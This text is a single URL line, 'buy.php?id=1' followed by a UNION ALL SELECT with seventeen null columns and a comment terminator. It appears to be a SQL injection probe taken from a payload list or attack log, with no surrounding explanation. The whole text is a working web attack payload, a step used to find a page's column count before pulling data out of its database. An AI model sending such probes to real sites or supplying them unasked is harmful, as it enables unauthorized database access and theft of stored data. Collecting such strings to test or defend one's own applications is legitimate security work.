buy.php?id=1' union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--